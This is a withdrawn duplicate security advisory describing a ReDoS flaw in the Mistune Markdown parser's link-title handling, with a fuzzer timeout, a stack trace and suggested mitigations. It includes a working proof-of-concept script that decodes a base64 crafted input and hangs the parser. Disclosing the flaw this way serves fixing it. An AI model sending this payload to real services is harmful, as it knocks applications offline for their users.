Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references.

Original Description

Summary

Denial-of-Service (DoS) vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.

Function affected: parse_link_title() in helpers.py Issue: Malformed reference links cause excessive backtracking and parsing loops. Impact: Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.

Details

Name: mistune
Version: 3.2.0
Python version: Python 3.13.9
PIP version: pip 25.2
OS: Kali-linux-VERSION="2025.4"

PoC

import mistune
import base64

print("Exploit started....!")
data = base64.b64decode(
    "WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg=="
)
mistune.html(data.decode("utf-8", errors="ignore"))

Reproduce steps:

Simply execute above python script it will hang & increase cpu utilization to 100%

Fuzzer Output (libFuzzer):

ERROR: libFuzzer: timeout after 3 seconds
SUMMARY: libFuzzer: timeout

Stack Trace (Excerpt):

mistune/helpers.py:170 in parse_link_title
mistune/block_parser.py:259 in parse_ref_link
mistune/core.py:216 in parse_method
mistune/block_parser.py:458 in parse
mistune/markdown.py:93 in parse
mistune/markdown.py:120 in __call__

IMAGE POC:

<img width="1194" height="728" alt="POC" src="https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077" />

Impact:

Denial-of-Service (DoS) High CPU usage and application hang Potential for service unavailability in web apps or APIs processing untrusted Markdown

Suggested Mitigations:

Implement parsing depth and iteration limits. Limit reference-link title length. Detects excessive escape character sequences. Add defensive checks in parse_link_title. Add fuzz regression tests using the provided PoC.